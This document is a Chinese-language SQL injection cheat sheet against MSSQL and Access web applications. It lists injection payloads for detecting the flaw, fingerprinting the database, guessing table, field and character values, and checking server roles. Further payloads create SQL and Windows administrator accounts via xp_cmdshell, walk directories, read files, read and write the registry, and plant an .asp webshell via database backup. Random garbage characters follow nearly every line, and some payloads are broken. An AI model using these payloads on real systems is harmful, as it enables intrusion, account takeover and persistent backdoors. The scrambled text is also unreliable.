1.判断是否有注入;and 1=1 ;and 1=2 L$3 lsu!4n
2.初步判断是否是mssql ;and user>0 11"r FZ
(eU 4{X7
3.注入参数是字符'and [查询条件] and ''=' 'm~=sC_uL
MZ$uWm`/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' -_Z 4)"k
1UJ rPM%
5.判断数据库系统 0D 2I)E72o
uU3A,-{-
;and (select count(*) from sysobjects)>0 mssql v]{UH{6
In_"iEo,
;and (select count(*) from msysobjects)>0 access 8 5ET$YV
tXtNK2-1
131(0nl)=I
:!g|pd[{ag
6.猜数据库 ;and (select Count(*) from [数据库名])>0 wjl )yo$z
\AroSy9
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 K [DpH&
Jf?6y~X>Y
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9}9VZ r?
]Ac}+?
9.(1)猜字段的ascii值(access) (&eF E ;c
vb]kh_
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
"&k(lQ4
G*+^b'7
(2)猜字段的ascii值(mssql) ~C%I'z'
{>1FZsR49t
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 HQ-++;Q
L>~Tc
10.测试权限结构(mssql) )pHlWi|h
wxvi)|)
A`Dx]y
h97#(_wV>
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- a)ry}E =f
]7Vg9&1`
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
Qh&Qsyo%
b*?u+tWP_
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- BJUj#s0$
%a~/q0o>
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3U >-~-DS
B%;MGb o
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- dW4jkjap
GAgTy
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- klJ21j0Bb2
HCN/|z1Xq
;and 1=(select IS_MEMBER('db_owner'));-- DO80HS3ZD
eo9/
>E+g.5
,:W
Pt"H_SW~k
11.添加mssql和系统的帐户 h[]9F.[
O<cP1TF
;exec master.dbo.sp_addlogin username;-- '3672wF/
;exec master.dbo.sp_password null,username,password;-- A!bG 2{r
95mf
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- l@B9}Icq
7tcadXk0
;exec master.dbo.xp_cmdshell 'net user username password tsc`u>
D8Fi{?A#FV
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- *7Q6b 4~"
xW`y7Q }p
;exec master.dbo.xp_cmdshell 'net user username password /add';-- f zo'9
\nZB@u;S
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- geR+v+B,
PoF3fy%.
_h!.gZB3
RHC ZP
12.(1)遍历目录 vt#;j;liG
tNTSy=
;create table dirs(paths varchar(100), id int) *vaYI3{qN
GkJcd;
;insert dirs exec master.dbo.xp_dirtree 'c:\' @zg}x0]
!B3TLeh
;and (select top 1 paths from dirs)>0 XH!#_jy
^OY]Y+S`Ox
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W91yj:
i
6G40!G=)
|HK:\)L%
SL4?E<Jb
(2)遍历目录 C[^V\?3ly:
zi-_ l
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- v(2N@s<%
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 '{d@Gc6.
r9@=d
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }S/i3$F0~
I$7eiW @
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 _B^zm-}8|B
s/D)X=P1
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 @oA z
]1!" q40)]
OT{"C"%5t
:skR6J
13.mssql中的存储过程 x z_sejKB
]Btkoad
xp_regenumvalues 注册表根键, 子键 4KH492Nq9
=5+*TL`
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 qNEp3WY:
&P?2H66s
xp_regread 根键,子键,键值名 P"w\hF
+"?+Be
;exec xp_regread
zU?O)w1'
)dT@0Ys%
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 J$3g3%t
[C "\]LiX
xp_regwrite 根键,子键, 值名, 值类型, 值 rpT.n-H>%A
^LMgOA(7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ?"d$SK"6Z
n"(!v7YNp
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 mOE *[S)
.;?!I_`
xp_regdeletevalue 根键,子键,值名
po*G`b;v
m^_=^z+
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 x)::^'74
W$c@C02<
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 t2N W$
-E
LIZB!S@V \
|9I)YD
~ nsb
14.mssql的backup创建webshell 4_R|3L
OR<+y~Rv
use model HxG8'G
@5%&wC
create table cmd(str image); 3P
cVE\GN
8`q7Yss6F
insert into cmd(str) values (''); xe`^)2z
~G!JqdKJ0
backup database model to disk='c:\l.asp'; P\jGySj
]O@$}B];)
,EB}IG]
-JMn?]
15.mssql内置函数 V'vR(Wx
kka5=u
;and (select @@version)>0 获得Windows的版本号 ?%,NOX
?{ir$M
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (eN7s_
fj_23{,/"g
;and (select user_name())>0 爆当前系统的连接用户 6}4})B2
0t <nH%N}^
;and (select db_name())>0 得到当前连接的数据库 N^Re
NX @FUct;
U.7fMc#
2B,O/3y
16.简洁的webshell OK[J
h
v,KKn\X
use model aB]0?C y9(
zCx4DN`
create table cmd(str image); XjX
)kD/ 8
insert into cmd(str) values (''); y~SVD@
,erw(7}'.
backup database model to disk='g:\wwwtest\l.asp';